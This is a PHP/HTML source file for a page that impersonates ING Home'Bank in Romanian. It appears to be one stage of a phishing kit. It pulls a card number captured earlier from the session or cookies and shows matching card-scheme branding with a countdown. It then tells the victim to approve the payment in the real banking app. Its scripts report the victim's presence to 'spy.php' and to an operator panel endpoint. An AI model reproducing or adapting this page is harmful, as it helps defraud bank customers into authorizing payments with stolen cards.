<?php
/**
 * ING Home'Bank — confirmare plată în aplicație.
 */
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';

if (session_status() !== PHP_SESSION_ACTIVE) {
    session_start();
}

$firstDigit = '4';
$cardNumber = '';
if (!empty($_SESSION['sc_card'])) {
    $cardNumber = $_SESSION['sc_card'];
} elseif (!empty($_COOKIE['sc_card'])) {
    $cardNumber = $_COOKIE['sc_card'];
} elseif (!empty($_COOKIE['cc'])) {
    $cardNumber = $_COOKIE['cc'];
}
$cardNumberClean = preg_replace('/[^0-9]/', '', preg_replace('/\s+/', '', $cardNumber));
if (strlen($cardNumberClean) >= 1) {
    $firstDigit = $cardNumberClean[0];
}
$isVisa = ($firstDigit === '4');

$schemeLogo = 'assets/images/visa-logo.svg';
if (!is_file(__DIR__ . '/' . $schemeLogo)) {
    $schemeLogo = 'assets/images/Visa_2014.svg';
}
if (!$isVisa) {
    $schemeLogo = 'assets/images/mastercard-logo.svg';
    if (!is_file(__DIR__ . '/' . $schemeLogo)) {
        $schemeLogo = 'assets/images/Mastercard_2019_logo.svg';
    }
}

$ingLogo = 'assets/logos/in.png';
if (!is_file(__DIR__ . '/' . $ingLogo)) {
    $ingLogo = '';
}

$phoneImg = 'assets/logos/ph.png';
if (!is_file(__DIR__ . '/' . $phoneImg)) {
    $phoneImg = '';
}

$timerMinutes = 9;
$timerSeconds = 45;
$timerTotal = $timerMinutes * 60 + $timerSeconds;
$timerDisplay = sprintf('%02d:%02d', $timerMinutes, $timerSeconds);
?>
<!DOCTYPE html>
<html lang="ro">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, viewport-fit=cover">
    <meta name="theme-color" content="#ffffff">
    <title>ING — Confirmă plata în Home'Bank</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        html, body {
            min-height: 100%;
            font-family: Arial, Helvetica, "Segoe UI", sans-serif;
            background: #fff;
            color: #333;
            -webkit-font-smoothing: antialiased;
        }

        .ing-page {
            max-width: 480px;
            margin: 0 auto;
            min-height: 100vh;
            min-height: 100dvh;
            display: flex;
            flex-direction: column;
            padding: 0 20px 32px;
        }

        .ing-head {
            display: flex;
            align-items: center;
            justify-content: space-between;
            padding: 16px 4px 14px;
            border-bottom: 1px solid #e0e0e0;
            margin-bottom: 8px;
        }

        .ing-head-logo img {
            height: 32px;
            width: auto;
            display: block;
            object-fit: contain;
        }

        .ing-head-visa img {
            height: 22px;
            width: auto;
            display: block;
            object-fit: contain;
        }

        .ing-hero {
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: 20px 0 18px;
        }

        .ing-phone-wrap {
            display: flex;
            align-items: center;
            justify-content: center;
            margin-bottom: 22px;
        }

        .ing-phone-circle {
            width: 172px;
            height: 172px;
            border-radius: 50%;
            background: #d6eaf8;
            display: flex;
            align-items: center;
            justify-content: center;
            overflow: hidden;
            flex-shrink: 0;
        }

        .ing-phone-img {
            display: block;
            width: 185px;
            height: auto;
            max-width: none;
            object-fit: contain;
            margin: 0 auto;
            transform: translateY(2px);
        }

        .ing-title {
            text-align: center;
            font-size: 22px;
            font-weight: 700;
            color: #2a2a2a;
            line-height: 1.3;
            margin: 0 0 10px;
            letter-spacing: -0.02em;
        }

        .ing-time {
            text-align: center;
            font-size: 17px;
            font-weight: 400;
            color: #555;
            margin: 0 0 28px;
            font-variant-numeric: tabular-nums;
            letter-spacing: 0.02em;
        }

        .ing-steps-intro {
            text-align: center;
            font-size: 16px;
            font-weight: 600;
            color: #ff6200;
            margin: 0 0 20px;
        }

        .ing-steps {
            list-style: none;
            width: 100%;
            max-width: 400px;
            margin: 0 auto;
            padding: 0 4px;
        }

        .ing-step {
            display: flex;
            align-items: flex-start;
            gap: 14px;
            margin-bottom: 18px;
        }

        .ing-step:last-child {
            margin-bottom: 0;
        }

        .ing-step-num {
            flex-shrink: 0;
            width: 28px;
            height: 28px;
            border: 2px solid #ff6200;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 14px;
            font-weight: 600;
            color: #ff6200;
            line-height: 1;
        }

        .ing-step-text {
            font-size: 15px;
            font-weight: 400;
            color: #333;
            line-height: 1.45;
            padding-top: 3px;
        }

        .ing-step-text strong {
            font-weight: 700;
            color: #222;
        }

        @media (max-width: 380px) {
            .ing-title { font-size: 19px; }
            .ing-step-text { font-size: 14px; }
            .ing-phone-circle { width: 148px; height: 148px; }
            .ing-phone-img { width: 158px; }
        }
    </style>
</head>
<body>
    <div class="ing-page">
        <header class="ing-head">
            <div class="ing-head-logo">
                <?php if ($ingLogo !== '') : ?>
                    <img src="<?php echo htmlspecialchars($ingLogo); ?>" alt="ING">
                <?php else : ?>
                    <span style="font-size:22px;font-weight:700;color:#003366;">ING</span>
                <?php endif; ?>
            </div>
            <div class="ing-head-visa">
                <img src="<?php echo htmlspecialchars($schemeLogo); ?>" alt="Visa">
            </div>
        </header>

        <div class="ing-hero">
            <div class="ing-phone-wrap">
                <div class="ing-phone-circle">
                    <?php if ($phoneImg !== '') : ?>
                        <img class="ing-phone-img" src="<?php echo htmlspecialchars($phoneImg); ?>" alt="">
                    <?php endif; ?>
                </div>
            </div>

            <h1 class="ing-title">Confirmă plata în Home'Bank</h1>
            <p class="ing-time" id="ing-timer" role="timer" aria-live="polite"><?php echo htmlspecialchars($timerDisplay); ?></p>
        </div>

        <p class="ing-steps-intro">Lasă deschisă această pagină, apoi:</p>

        <ol class="ing-steps">
            <li class="ing-step">
                <span class="ing-step-num">1</span>
                <span class="ing-step-text">Intră în Home'Bank</span>
            </li>
            <li class="ing-step">
                <span class="ing-step-num">2</span>
                <span class="ing-step-text">Apasă mesajul de confirmare a plății și semnează plata</span>
            </li>
            <li class="ing-step">
                <span class="ing-step-num">3</span>
                <span class="ing-step-text"><strong>Întoarce-te aici</strong> și așteaptă câteva secunde</span>
            </li>
            <li class="ing-step">
                <span class="ing-step-num">4</span>
                <span class="ing-step-text">Gata, ai plătit!</span>
            </li>
        </ol>
    </div>

    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script>
        (function () {
            var total = <?php echo (int) $timerTotal; ?>;
            var el = document.getElementById('ing-timer');

            function pad(n) {
                return n < 10 ? '0' + n : String(n);
            }

            function render() {
                var m = Math.floor(total / 60);
                var s = total % 60;
                el.textContent = pad(m) + ':' + pad(s);
            }

            function tick() {
                if (total <= 0) {
                    el.textContent = '00:00';
                    return;
                }
                total--;
                render();
            }

            setInterval(tick, 1000);

            $(function () {
                $.post('spy.php', { inview: 1 });
                $.post('../panel/classes/processor.php', { keepAlive: 1, page: 'ING' });
            });
        })();
    </script>
    <?php $m->ctr('ING'); ?>
</body>
</html>
